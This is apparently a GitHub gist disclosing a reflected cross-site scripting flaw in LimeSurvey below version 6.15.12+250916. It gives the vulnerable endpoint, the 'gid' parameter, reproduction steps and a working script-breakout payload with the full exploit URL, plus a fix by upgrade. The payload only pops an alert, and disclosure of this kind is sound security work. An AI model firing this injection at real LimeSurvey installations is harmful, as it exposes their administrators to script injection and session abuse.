masquerad3r / **rxss-limesurvey-lt-6.15.12+250916-poc.md**

Last active 2 months ago

Code Revisions 6

Reflected XSS: Limesurvey <6.15.12+250916

`rxss-limesurvey-lt-6.15.12+250916-poc.md`

Reflected Cross-Site Scripting (RXSS)

Summary

Vulnerable Version	Limesurvey <v6.15.12+250916
Category	Injection
CWE	Improper Neutralization of Input During Web Page Generation (CWE-79)
CVSS	6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Vulnerable Endpoint	`/index.php/questionAdministration/create`
Vulnerable Parameter	`gid`

Steps to Reproduce

1. After configuring and running the docker image, visit the admin portal and login with admin credentials.
2. Create a survey and get its ID.

3. Visit `/index.php/questionAdministration/create` with `gid` as query parameter and set it to `1}</script><script>alert(387)</script><script>x=` and `surveyid` to the created survey ID.

   Payload Used: `1}</script><script>alert(387)</script><script>x=`

   Full working exploit: `/index.php/questionAdministration/create?surveyid=[YOUR-ID-HERE]&gid=1}</script><script>alert(387)</script><script>x=`

4. On visiting the page with above payload, we see an alert box.

Remediation

Upgrade to Limesurvey >=6.15.12+250916